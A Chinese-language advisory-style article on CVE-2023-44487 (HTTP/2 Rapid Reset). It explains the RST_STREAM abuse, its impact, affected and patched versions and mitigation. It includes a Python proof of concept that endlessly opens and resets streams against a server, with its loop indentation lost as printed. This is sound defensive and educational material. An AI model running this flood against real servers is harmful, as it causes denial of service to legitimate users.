CVE-2023-44487 - HTTP/2 Rapid Reset：网络安全的新挑战

HTTP/2 协议在网络通信中占据着至关重要的地位。它作为 HTTP/1.1 的升级版本，通过采用二进制协议、多路复用技术、头部压缩等特性，极大地提升了网页加载速度和性能，减少了延迟，为用户带来了更流畅的网络体验。
然而，CVE-2023-44487 漏洞的出现给 HTTP/2 协议的应用带来了严重的安全威胁。该漏洞是在网络安全监测过程中被发现的。随着互联网的快速发展，网络攻击手段日益复杂多样，对于网络协议的安全性要求也越来越高。在这样的背景下，CVE-2023-44487 漏洞的发现引起了广泛的关注。
此漏洞的基本情况是，恶意攻击者能够通过打开多个请求流并立即发送 RST_STREAM 帧来取消请求，从而绕过并发流的限制，导致服务器资源快速消耗。这种攻击方式可能使服务器陷入资源耗尽的困境，无法正常处理合法用户的请求，进而影响服务的可用性和稳定性。
综上所述，了解 CVE-2023-44487 漏洞的发现背景和基本情况，对于采取有效的防范措施和保障网络通信的安全至关重要。

二、漏洞原理剖析

（一）HTTP/2 协议的特点与更新

HTTP/2 协议相比 HTTP/1.1 有诸多显著的改进。在连接方面，HTTP/2 实现了在单连接上的多路复用，这意味着可以同时通过单个连接发送多个请求和响应，大大提高了传输效率，避免了 HTTP/1.1 中因串行请求导致的等待时间。
同时，HTTP/2 采用了二进制格式进行数据传输，与 HTTP/1.1 的纯文本格式相比，更便于计算机直接解析，减少了处理时间。
此外，头部压缩也是 HTTP/2 的一大特色。通过使用特定的算法对请求和响应的头部进行压缩，减少了数据量，节省了带宽。

（二）Rapid Reset 漏洞机制

Rapid Reset 漏洞的产生与 HTTP/2 中的 SETTINGS 帧和 RST_STREAM 帧密切相关。SETTINGS 帧用于协商连接的参数，而 RST_STREAM 帧则用于指示服务器取消之前的流。
在正常情况下，这些帧都有其特定的用途和规则。然而，攻击者恶意滥用了 RST_STREAM 帧，通过在短时间内大量发送这些帧，并结合其他手段，绕过了正常的并发流限制。
攻击者利用这一漏洞，一次打开大量流，但不等待服务器响应，而是立即取消每个请求。这种恶意行为导致服务器的 CPU 资源被迅速消耗，使服务器无法正常处理合法用户的请求，最终造成服务器拒绝服务。

三、漏洞的影响与危害

（一）对服务器的冲击

CVE-2023-44487 漏洞对服务器的冲击是巨大且直接的。当攻击者利用该漏洞发起快速重置攻击时，服务器会在短时间内接收到大量的异常请求流。由于每个请求流都需要服务器分配一定的资源进行处理，而攻击者迅速取消这些请求，使得服务器在资源分配与回收之间陷入混乱。
这会导致服务器的 CPU 资源被大量占用，内存消耗急剧增加，网络带宽也被大量无效的请求所占据。正常请求无法得到及时处理，处理速度大幅下降，甚至出现服务器崩溃、服务中断的情况。
服务器的稳定性和性能受到严重影响，可能需要较长时间才能恢复正常运行，给服务器的运维和管理带来极大的困难和压力。

（二）潜在的业务风险

此漏洞给使用相关协议的业务带来了诸多潜在风险。首先，业务可能因服务器拒绝服务而中断，导致用户无法正常访问和使用相关服务，如在线购物网站无法下单、在线支付系统无法完成交易等，直接影响业务收入和用户满意度。
其次，数据的完整性和安全性也面临威胁。在服务器资源耗尽、服务混乱的情况下，可能会出现数据丢失、数据错误等问题，影响业务的正常运营和决策。
对于依赖网络服务的企业来说，声誉可能受损，用户对其信任度降低，进而导致用户流失。此外，修复漏洞和恢复业务可能需要投入大量的人力、物力和时间，增加了企业的运营成本。
在竞争激烈的市场环境中，业务的短暂中断可能会被竞争对手利用，从而失去市场份额，对企业的长期发展造成不利影响。

四、受影响的版本与组件

（一）广泛受影响的范围

以下是一些广泛受影响的组件及其具体版本：

• Netty：Netty < 4.1.100.Final

• Go：Go < 1.21.3、1.20.10

• Apache Tomcat：11.0.0-M1 <= Apache Tomcat <= 11.0.0-M11、10.1.0-M1 <= Apache Tomcat <= 10.1.13、9.0.0-M1 <= Apache Tomcat <= 9.0.80、8.5.0 <= Apache Tomcat <= 8.5.93

• grpc-go：grpc-go < 1.58.3、1.57.1、1.56.3

• jetty：jetty < 12.0.2、10.0.17、11.0.17、9.4.53.v20231009

• nghttp2：nghttp2 < v1.57.0

• Apache Traffic Server：8.0.0 <= Apache Traffic Server <= 8.1.8、9.0.0 <= Apache Traffic Server <= 9.2.2

（二）安全版本及更新

为了确保系统的安全性，以下是相应组件的安全版本：

• Netty：Netty >= 4.1.100.Final

• Go：Go >= 1.21.3、1.20.10

• Apache Tomcat：Apache Tomcat >= 11.0.0-M12、10.1.14、9.0.81、8.5.94

• grpc-go：grpc-go >= 1.58.3、1.57.1、1.56.3

• jetty：jetty >= 12.0.2、10.0.17、11.0.17、9.4.53.v20231009

• nghttp2：nghttp2 >= v1.57.0

• Apache Traffic Server：Apache Traffic Server >= 8.1.9、9.2.3

建议用户及时评估业务是否受 HTTP/2 协议影响，酌情将受影响的组件升级至相应的安全版本，以降低潜在的安全风险。

五、漏洞的预防与应对

（一）遵循供应商建议

供应商在网络安全领域通常具有丰富的经验和专业知识。他们对所提供的产品或服务的特性、潜在风险以及解决方案有着深入的了解。因此，遵循供应商发布的更新和安全建议至关重要。供应商能够根据对漏洞的研究和分析，提供针对性的措施和指导，帮助用户有效地防范潜在的威胁。忽视供应商的建议可能会导致用户在面对漏洞攻击时处于被动地位，增加系统被入侵和数据泄露的风险。

（二）及时进行更新

及时更新相关组件是修复 CVE-2023-44487 漏洞的关键。用户应密切关注供应商发布的更新补丁，并尽快将受影响的组件升级到最新的安全版本。对于一些关键的组件，如 Netty、Go、Apache Tomcat 等，要确保及时获取并安装最新的更新。在更新过程中，可以采用自动化的更新工具或系统，以提高效率和准确性。同时，在更新之前，建议先备份重要的数据和配置信息，以防更新过程中出现意外情况导致数据丢失或系统故障。此外，还需要对更新后的组件进行测试和验证，确保其正常运行且没有引入新的问题。

六、漏洞验证与测试

（一）编写 Python 代码

以下是一段用于漏洞验证和测试的 Python 代码示例：

import socket
import ssl
import certifi
import h2.connection
import h2.events
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 443
# 通用的套接字和 SSL 配置
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
# 打开与服务器的套接字并启动 TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
headers = [(':method', 'GET'),(':path', '/'),(':authority', SERVER_NAME),]
while True:
stream_id = c.get_next_available_stream_id()
print(stream_id)
c.send_headers(stream_id, headers, end_stream=True)
s.sendall(c.data_to_send())
c.reset_stream(stream_id)
s.sendall(c.data_to_send())
# 告知服务器关闭 h2 连接
c.close_connection()
s.sendall(c.data_to_send())
# 关闭套接字
s.close()
这段代码不断发送 HEADERS 帧和 RST_STREAM 帧序列，从而对漏洞进行测试。

（二）环境搭建

在进行漏洞验证和测试之前，需要在本地或者云环境中搭建相应的服务器环境，并确保支持 HTTP/2 协议。以下是大致的操作步骤：

1. 选择合适的服务器软件，如 Nginx 等，并按照其文档进行安装和配置。

2. 启用 HTTP/2 协议的相关设置。

3. 配置服务器的安全设置，如 SSL 证书等。

（三）测试操作

搭建好环境后，运行上述 Python 代码，观察服务器的负载情况。如果服务器负载快速增加，并且出现明显卡顿，说明漏洞可能存在。同时，需要注意在测试过程中遵循法律法规和道德规范，确保测试行为合法合规。

七、未来展望

（一）对网络安全领域的启示

CVE-2023-44487 漏洞的出现为网络安全领域带来了诸多重要的启示。首先，它凸显了网络协议在不断演进和优化过程中可能产生的新风险。网络协议的更新虽然旨在提升性能和效率，但也可能引入未曾预料的安全漏洞，这提醒我们在推动技术发展的同时，必须将安全置于首要位置，进行全面且深入的安全评估。
其次，该漏洞暴露了对于新兴攻击手段的监测和应对能力的不足。这要求网络安全行业加强对潜在攻击模式的研究和预测，及时更新防护策略和检测技术，以应对不断变化的威胁态势。
再者，此次漏洞事件强调了跨领域合作的重要性。网络安全不再仅仅是技术专家的责任，还需要软件开发人员、供应商、运维人员等各方紧密协作，形成全方位的防护体系。

（二）对未来类似漏洞防范的思考

针对未来可能出现的类似漏洞，我们应采取更加主动和预防性的措施。一方面，在协议设计阶段，引入安全专家的参与，从源头上减少漏洞产生的可能性。另一方面，加强对关键基础设施和重要业务系统的实时监测和预警机制，及时发现异常流量和潜在的攻击行为。
同时，持续提升用户的安全意识也至关重要。用户应了解常见的网络攻击手段和防范方法，避免成为攻击的突破口。此外，鼓励安全研究人员和社区积极参与漏洞的发现和披露，建立健全的漏洞奖励机制，共同维护网络空间的安全。
总之，CVE-2023-44487 漏洞为我们敲响了警钟，促使我们在未来的网络安全工作中不断改进和完善防范措施，以应对日益复杂和严峻的网络安全挑战。